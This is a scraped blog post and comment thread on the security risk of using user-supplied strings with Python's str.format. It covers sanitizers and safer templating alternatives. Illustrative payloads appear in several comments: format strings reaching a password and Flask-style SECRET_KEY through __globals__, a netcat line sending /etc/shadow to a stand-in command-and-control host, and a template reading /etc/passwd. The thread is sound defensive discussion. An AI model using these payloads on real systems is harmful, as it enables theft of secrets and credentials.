Be Careful with Python's New-Style String Format
lucumr.pocoo.org
lucumr.pocoo.org
Post Title
Blog Name: Post Title
Blog Name - Post Title
Post Title - Blog Name
Blog Name ----embdash---- Post Title
~~~ xXx Post Title xXx ~~~
It's a little overwhelming to put every possibility in a dropdown, so you allow the user to specify a format string. title = userformats.title.fmt(post)
This doesn't look so very dangerous. And then the user can say "{post.title} - {post.blog.title}"
"{post.title}: Another fine post by "{post.author}"
"~~~ xXx {post.blog.__init__.dbconnection.__keys__.password} xXx ~~~"
And then oops.emitting raw user input is bad
Seems to me you always have to be careful with user-supplied data.
you still have to be careful, and when you follow all the right best practices you can safely ingest raw user input.
I've worked at a company that escaped user input before inserting into the DB. it's a horrible nightmare I don't think anyone should have to experience.
I guess the definition of "injest" here is reading bytes off the wire?
I don't know Python, so this is a pseudo code example that a user could enter:
"{system('nc c_and_c_box.example < /etc/shadow \
> /dev/null')} Nothing to see here, move along"[0] it also supports mapping and sequence lookups IIRC but that's about the same thing
For instance, suppose we want to allow user formatting of contact information. A contact entry has a name, address, phone number, and email address. The user supplies a template string using %_NAME_, %_ADDR_, %_PHONE_, and %_EMAIL where they would like the name, address, phone number, and email address substituted, respectively.
I'd probably be doing this in Perl, and I'd do it something like this:
sub format_contact
{
my($template, $name, $addr, $phone, $email) = @_;
my %val = (name => $name, addr => $addr,
phone => $phone, email => $email);
$template =~ s/%_([a-z]+)_/$val{lc($1)}/gi;
return $template;
} import re
def sanitize(user_input):
"""Sanitize user input for str.format
Usage:
sanitize("{post.title} - {post.blog.title}")
sanitize("{post.title}: Another fine post by "{post.author}")
sanitize("~~~ xXx {post.blog.__init__.dbconnection.__keys__.password} xXx ~~~")
"""
return re.sub(r'{[^}]*__[^}]*}', '', user_input)
Even better, we could specify which variables to allow in user input: import re
def sanitize(user_input, *allowed_variables):
"""Sanitize user input for str.format
Usage:
allowed_variables = ["post.blog.title", "post.title", "post.author"]
sanitize("{post.title} - {post.blog.title}", *allowed_variables)
sanitize("{post.title}: Another fine post by "{post.author}", *allowed_variables)
sanitize("~~~ xXx {post.blog.__init__.dbconnection.__keys__.password} xXx ~~~", *allowed_variables)
"""
for match in re.finditer(r'{([^}]*)}', user_input):
if match[1] not in allowed_variables:
user_input = user_input.replace(match[0], '')
return user_inputYou can write your own safe formatting engine in much less code.
def safe_format(fmt, **args):
return re.sub(r'\{([^{}]*)\}', lambda m: args.get(m.group(1)), fmt)
safe_format('{foo} {bar}', foo='Hello', bar='world') # Hello world
Add bells and whistles as desired.Of course, %s does the same thing (__str__) but at least %s doesn't take any arguments.
I'm not worried about executing arbitrary code, because it's not user-supplied and it's normal for a templating library to access attributes of objects you pass to it (if it was unsafe you shouldn't have done that). This is more of a snafu with the number of sensitive and powerful attributes available by default on Python objects.
Might as well write "be careful about eval of arbitrary user provided strings".
Hardly irrelevant. The idea is that a non-native formatting system is build specifically for the templating engine, and so the developers controls what it can do and gives it non-dangerous features.
>Or, if Python's native formatter lacked these dangerous features, there'd be no reason not to use it
Even if it did lack them, it's not under the control of the template platform author, so they should not rely on it for such a crucial part of the template engine as string formatting.
(Which is exactly the case here: Python lacked those features before, but got them, and bit the template engine in the back).
This doesn't really matter. If it does what you want, it's not like they're going to change the formatter's behavior from under your feet if it's part of the language's default runtime.
Here they talk of using it for translation, with arbitrary user provided strings for example. Another could use it to create an SQL helper (accounting themselves for injection) etc.
In any case, it should not contain dangerous helper methods of capabilities not fit for strictly templating, just because the native string class allows them.
Look at MessageFormat or L20n. Yeah, I know that it's more complex than what you think you need (I've hear the "let's just use JS template literals" so many times) but you actually do.
Although if you are using templates in Python, you are likely using jinja2. And they just "fixed" the bug. So you are good to go if your upgrade.
{{ "Hello {user.name}".format(user) }}
which is really kinda obscure, especially since Jinja already has an explicit |format using the very safe / limited (but generally sufficient) alternative %(key)s syntax (also suitable for i18n, to some extend).Treating user input as a format string has always been a bad idea in every language and library that use them.
-- Given appropriate Error and Context types
format :: Context -> Text -> Either Error Text
Which would be guaranteed to be safe (there is no way this function can execute arbitrary code or read from your file system, short of egregious abuses of unsafePerformIO in its implementation). Note that the signature I wrote above takes an explicit context (presumably some sort of mapping of available variables), which removes the need for supporting arbitrary attribute access in the first place, and is more explicit to boot.There is no reason other languages or libraries could not implement a function with the same degree of safety, although their type systems might not be able to guarantee its safety. In fact I would wager that such pitfalls are only likely to be found in dynamic languages, which support runtime eval (which is, after all, the root of the described problem).
This is the TXR Lisp interactive listener of TXR 163.
Use the :quit command or type Ctrl-D on empty line to exit.
1> (defvar foo 42)
foo
2> `@(list foo) ... @foo`
"42 ... 42"
What is that backticked literal? Let's quote it: 3> '`@(list foo) ... @foo`
`@(list foo) ... @foo`
Hmm, prints back in same form. Probably syntactic sugar for a list; what is in the car? cdr? 4> (car '`@(list foo) ... @foo`)
sys:quasi
5> (cdr '`@(list foo) ... @foo`)
((list foo) " ... " @foo)
What if we type in this syntax ourselves: 6> '(sys:quasi (list foo) " ... " (sys:var foo))
`@(list foo) ... @foo`
Prints as the notation!To sandbox this, we just have to walk a list and enforce some rule. For instance, the rule might be that all elements after sys:quasi must be string object or else (sys:var sym) forms, where sym is a symbol on some allowed list. Thus (list foo) would be banned.
A custom interpreter which calculates the output string while enforcing the check is trivial to write as a one-liner.
Of course if your program just eval such an untrusted quasiliteral, it has access to the dynamic/global evironment:
`Mouhaha! @(file-get-string "/etc/passwd")`
Very convenient for some attacker. :) (eval (read (get-some-user-string))
(let [
(post-title post-title)
(post-date post-date)
(post-author post-author)
(fmt string-append)
]
(null-environment)))
eval is only executed in the context of some environment, and the only things it has access to are some strings, and a string concatenation procedure.It doesn't have access to lambda, quasiliterals or quotes, or anything of the like.
I do have code like this in production, because eval only looks up within it's environment... Which is empty apart from the bound let. No closure access.
If we have a completely empty environment, then we cannot eval the (sys:quasi ...) form itself; the sys:quasi symbol itself has no binding.
A nice idea might be to have a filter object in the environment stack which says "only if you're looking for one of these specific symbols, can you proceed to the global environment". Then we can easily arrange for select global bindings to be visible.
In my above example, a user can do things like:
(fmt post.title post.date)
(fmt post.title "@" post.date)
(fmt (fmt post.title "@" post.date) "by" post.author)
But they can't escape the sandbox and do anything else.
To make a list, they need access to list, or quote, otherwise they just have number and strings, and anything else you give them.
If you give them anything more than a null-environment, you begin to lose the safety of a safe evaluation, which might be something you want to do yourself, but not something that you want a user to have access to, or they'll find an escape hatch, like sys:quasi, and gain access to areas they shouldn't.
Which is as bad as any SQL injection, if not worse.
So, a safe eval, can be created, without the need for any further analysis, if eval is handed an environment, and only uses it.
If the eval then searches the global environment, then the eval is unsafe, and you should never hand it user input, unless you have first ensured it's safe... Which defeats all the niceness provided by first class environments.
Eval is only not evil, if the programmer controls all the bindings to eval's environment.
REPL's usually use an unsafe eval and environment, and that makes sense, as you want to be able to do anything you want in code.
But a templating language doesn't need, and shouldn't use, all the unsafeness of a Turing Complete language, that might have access to your system.
It's much clearer to just refer to it as str.format.
format!("{argument}", argument = "test"); // => "test"
That's just named arguments to the format. Also, that's a macro; it's expanded at compile time.Python's approach is lame. It should have used something with a limited list of named arguments, or maybe a dict.
The problem being discussed here is that the format string can access and attribute of the object passed in. From PEP3101 [0]:
" Unlike some other programming languages, you cannot embed arbitrary expressions in format strings. This is by design - the types of expressions that you can use is deliberately limited. Only two operators are supported: the '.' (getattr) operator, and the '[]' (getitem) operator. The reason for allowing these operators is that they don't normally have side effects in non-pathological code."
I would argue that being able to access any global value is a sufficient enough concern.
so, "be careful with it if you can't make sure code isn't non-pathological or friendly", what the article says.
Having pathological code in this context only elavates the severity from a pure data leak to partial code execution. Of course partial code execution in an unexpected context often leads to arbitrary code execution.
Much better idea to use a stupid, non-ACE serialization there.
Rust formatting is done by macros - which expand at compile time and accept only string literals. This makes it impossible to pass user input to format!(), println!() and their ilk unless the end-user can access your compiler, in which case you have a much larger problem.
That's what "old-style" python interpolation did :)
You could do |"hi my name is %s and I live in %s" % (name, place)| or use named arguments with a dict (|"hi my name is %(name) and I live in %(place)" % {"name": name, "place": place}|).
I like JS format strings -- you can write arbitrary code in them, but they are compile time only (and use a different string syntax). So you can have |`Hello my name is ${name} and I come from ${place}. My profession is ${generate_random_profession()}`|. The backtick-string isn't a different type, and can't be moved around like a value. It's a different kind of way of specifying a string literal, and will be evaluated when specified. No way of doing injection there.
I suspect Python wanted to make it less verbose with new-style interpolation, and went a bit overboard with field access without realizing or caring about possible security issues like this.
Of course, python has a third kind of format string; interpolation string literals (|f"hello my name is {name} ..."|), which work like JS and Ruby. This is what you should be using IMO.
Genuinely curious: what exactly does "compile-time" mean in the case of JS? Is it like C macros (modifying the source code before parsing)?
I meant that you cannot use a string value as a format string. It only exists in the form of a literal, and it gets evaluated when the interpreter evaluates that literal. You cannot store it and format it later.
Python does have that feature, called Template Strings: https://docs.python.org/3/library/string.html#template-strin...
For example Groovy on the JVM has GStrings which one can do fairly nasty things.
As well it actually is fairly hard to lock down most of the template languages on the JVM for user templates. (If you are going to allow user templates I recommend one of the Java Mustache-like implementations).
It's not nitpicking. Go's format strings don't allow you to access stuff you shouldn't be able to. In fact, Go's templating language[1] doesn't allow you to access anything that you haven't explicitly provided to the template instance.
Allowing users to format text is not an impossible problem. It's the fault of language creators that they don't make this easier.
{event.__init__.__globals__[CONFIG][SECRET_KEY]}
Shall not be available to any function call, whatsoever!1. The localization company should never know what programming language you're using.
2. You shouldn't give localization companies direct access to your internal strings. More than hacking your code, they're almost guaranteed to screw the formatting up.
3. Typically, translators are hired for their native language abilities, and not for their technical prowess. I've met precious few who knew how to open a text editor, let alone hack your product via its strings.
I worked with Python and I18N/L10N for about 15 years. The way I always handled localization was to parse all our strings into a PostgreSQL database, and then provide a web interface for translators to do their work. This interface provided translators with the full-context of the strings they were translating, which internal strings often don't, prevented the inclusion of certain characters and keywords, and kept the translators from screwing up the formatting. By doing it this way, we got much better translations, and our internal strings were never out of our control.
In general I'm very wary of runtime string formatting. Strings tend to be untrusted input with a large degree of freedom. format strings are almost always known at compile time (and more trustworthy). If your interpolation system is more than simply mapping keys to values or positions, you should probably restrict it to compile time. Feel free to expose a harder-to-use runtime API. Rust has compile-time format strings, for example. They're not as powerful as `str.format`, but they could be without there being security issues. JS has a different syntax for format literals. Regular strings cannot be "formatted", you must specify a string literal with backticks and that gets converted to a string value when the interpreter gets there. These literals can execute arbitrary code, but since it's just literals there's no way for an untrusted string to get in there.
One main use case for runtime string formatting is i18n. But that really should use a different solution. Most string formatting APIs are geared for programmer convenience -- the programmer is writing the code and the string. The scales shift for translators, who are only writing the strings. They don't need things like field access and stuff.
Besides, most string formatting APIs are inadequate for i18n. Not if you want to handle stuff like pluralization (http://mlocati.github.io/cldr-to-gettext-plural-rules/).
Another use case is template engines and stuff like that. In that case, field access is useful, but you probably should exert more control on these things (which is exactly what jinja2 seems to be doing here)
At one point I toyed with an idea for a super-type-safe template engine in Rust. It would validate the templates at compile time, and additionally ensure that the right types are in the right places. For example, it could ensure that strings that get interpolated with the HTML are either "trusted", escaped, or otherwise XSS-sanitized (using the type system to mark such types). Similarly, url attributes (href, etc) can only have URLs that have been checked for `javascript:`. Never got around to writing it, sadly.
Runtime string formatting, even if done safely (e.g. .NET's String.Format() which doesn't have property access AFAIK), can still cause unexpected exceptions at the very least, and suffers from inferior performance.
But how do you sanitize it? If you hadn't read this article and were told to sanitize a format string, how would you implement that?
Unless you know exactly what the problem is, you're basically reduced to writing your own string formatter. (Though see 'anderskaseorg's example, it's a lot less code if you do.)
For example, using re.sub as another commenter pointed out.
An even more Pythonic solution would be to use the built-in string.Template [1] which at a glance appears to be safe against this kind of attack (but I haven't tested in code).
I'm not sure why Armin didn't mention string.Template in his post other than that it is much more restricted than str.format, however that kind of seems like the point to me.
[1]: https://docs.python.org/3.4/library/string.html#template-str...
http://docs.scala-lang.org/overviews/core/string-interpolati...
And while Scala's string formatting looks cool, it hardly seems like your reply applies to the topic/thread. In fact ironically it seems to point out that this would be an even bigger issue in Scala.
not with string interpolation in scala. it only works on compile time so it's not possible to actually take user input strings (without runtime reflection of course)
> it hardly seems like your reply applies to the topic/thread
yes string interpolation (scala) has less todo with it. it can't be compared to the python one.
Format strings occurring as literals in Python source could be treated at compile time, like in Scala.
¹ (compilation in CPython generally occurs during initialization of the execution, though you can pre-compile files manually)
https://www.reddit.com/r/Python/comments/3k6qi8/pep_498_appr...
This sidesteps the problem because only literal strings are formatted.
>>> "%(foo)s" % {"foo": "bar"}
'bar' $ printf '%2$s %2$s %1$s\n' aaa bbb
bbb bbb aaa >>> 'hello, %s %s' % tuple(reversed(['smith', 'bob']))
'hello, bob smith'
I think it's more readable if you abstract that bit into a lambda function: >>> rev_args = lambda *args: tuple(reversed(args))
>>> 'hello, %s %s' % rev_args('smith', 'bob')
'hello, bob smith' >>> class foo:
... def __init__(self, **kwargs):
... self.__dict__.update(kwargs)
...
>>> my_foo = foo(secret="bazinga")
>>>
>>> "%(foo)s" % {'foo': my_foo}
'<__main__.foo instance at 0x1101d23f8>'
>>>
>>> "%(foo.secret)s" % {'foo': my_foo}
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
KeyError: 'foo.secret'C# recently added string interpolation, which does allow arbitrary code, but string interpolation itself is compiled C# code and can't be stored like a format string.
Personally I use mustache when i need format-string-like-behavior from semi-trusted users.
This is a great power, but also can become an unlimited source of bugs.
Don't let users run untrusted code. Full stop.
If you need templating use a sandbox like jinja2.
Edit: release notes https://www.palletsprojects.com/blog/jinja-281-released/
2.4.0 :001 > a = 5
=> 5
2.4.0 :002 > gets.chomp
#{a}
=> "\#{a}"Conversely they don't prohibit expensive properties either (eg. ORM-based lookups), or generating misleading output or whatever.
Edit: As correctly pointed out, this feature has been around since the introduction of str.format(). So this warning applies to all Python versions.
JS format strings get evaluated at "compile time", as do Ruby interpolation literals. You cannot have a string with format specifiers in it, you can have a backtick-delimited string literal with format specifiers in it. The formatting is done when the interpreter encounters this literal; the user can't input such a value since these literals aren't a different kind of value.
> because it's not realistic
Done reasonably often for i18n. Not a good i18n solution, but for many it's good enough :|
Well, that's just sloppy and shame on you for exposing programming internals to a user in a service. What did you expect? Write your own format string parser and stop being lazy.